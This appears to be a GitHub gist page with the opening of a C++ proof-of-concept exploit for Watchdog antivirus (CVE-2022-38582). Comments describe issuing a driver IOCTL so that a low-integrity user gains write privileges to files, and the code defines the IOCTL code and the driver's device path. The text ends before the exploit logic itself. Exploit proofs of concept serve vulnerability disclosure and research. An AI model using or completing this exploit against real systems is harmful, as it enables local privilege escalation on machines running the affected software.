Skip to content

Instantly share code, notes, and snippets.

View 420SmokeBigWeedHackBadDrivers's full-sized avatar

420SmokeBigWeedHackBadDrivers

View GitHub Profile
@420SmokeBigWeedHackBadDrivers
420SmokeBigWeedHackBadDrivers / lmfao.cpp
Last active October 13, 2022 23:55
PoC for Watchdog AV (CVE-2022-38582)
// exploitation will require issuing the described IOCTL
// once complete, a low integrity user may obtain write-privileges to the file
// by re-opening with CreateFileA / NtCreateFile
#include <Windows.h>
#include <stdio.h>
#define IOCTL_WAV_CREATE_FILE 0x80002004
const char* g_DeviceName = R"(\\.\wsdk)";